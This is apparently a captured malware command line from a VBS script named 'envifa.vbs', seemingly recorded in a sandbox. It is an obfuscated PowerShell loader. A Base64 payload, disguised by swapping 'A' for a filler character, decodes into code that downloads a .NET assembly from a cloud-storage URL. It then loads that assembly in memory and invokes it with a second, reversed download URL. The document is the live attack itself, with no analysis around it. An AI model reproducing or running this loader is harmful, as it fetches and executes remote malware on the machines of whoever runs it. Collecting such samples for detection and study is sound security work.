envifa.vbs

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Br▒G4▒egBh▒Go▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒Hg▒ZgBz▒HE▒YQ▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒GY▒c▒Bt▒Hg▒eQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒ZgBw▒G0▒e▒B5▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒m▒DM▒Zg▒0▒Dc▒ZQ▒5▒DI▒YQ▒3▒DE▒M▒Bj▒GE▒O▒▒4▒GM▒NQ▒z▒Dc▒ZgBi▒D▒▒M▒▒0▒D▒▒Yg▒z▒GQ▒Ng▒2▒Dk▒Z▒▒z▒D▒▒Mg▒1▒DQ▒N▒▒4▒GI▒Mw▒0▒DU▒ZgBm▒DM▒ZQ▒y▒DE▒O▒▒z▒GU▒YQBl▒Dc▒Ng▒y▒GY▒MQ▒1▒GE▒YQ▒x▒DQ▒PQBt▒Gg▒Jg▒0▒GU▒N▒Bl▒DQ▒Yg▒2▒DY▒PQBz▒Gk▒Jg▒0▒DY▒Ng▒z▒DY▒Yg▒2▒DY▒PQB4▒GU▒PwB0▒Hg▒d▒▒u▒Dg▒M▒▒4▒D▒▒aQB2▒G4▒ZQ▒v▒DE▒O▒▒1▒DM▒Nw▒x▒Dg▒Nw▒1▒DM▒N▒▒3▒Dg▒Mg▒x▒DE▒Nw▒y▒DE▒Lw▒x▒DU▒N▒▒1▒D▒▒N▒▒4▒DY▒Ng▒z▒DM▒OQ▒3▒DU▒OQ▒w▒DY▒Mg▒x▒C8▒cwB0▒G4▒ZQBt▒Gg▒YwBh▒HQ▒d▒Bh▒C8▒bQBv▒GM▒LgBw▒H▒▒YQBk▒HI▒bwBj▒HM▒aQBk▒C4▒bgBk▒GM▒Lw▒v▒Do▒cwBw▒HQ▒d▒Bo▒Cc▒I▒▒s▒C▒▒J▒B4▒GY▒cwBx▒GE▒I▒▒s▒C▒▒JwBf▒F8▒XwBf▒GQ▒ZgBn▒G4▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒n▒Cw▒I▒▒k▒Gs▒bgB6▒GE▒ag▒s▒C▒▒Jw▒x▒Cc▒L▒▒g▒Cc▒UgBv▒GQ▒YQ▒n▒C▒▒KQ▒p▒Ds▒';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\test22\AppData\Local\Temp\envifa.vbs');powershell -command $KByHL;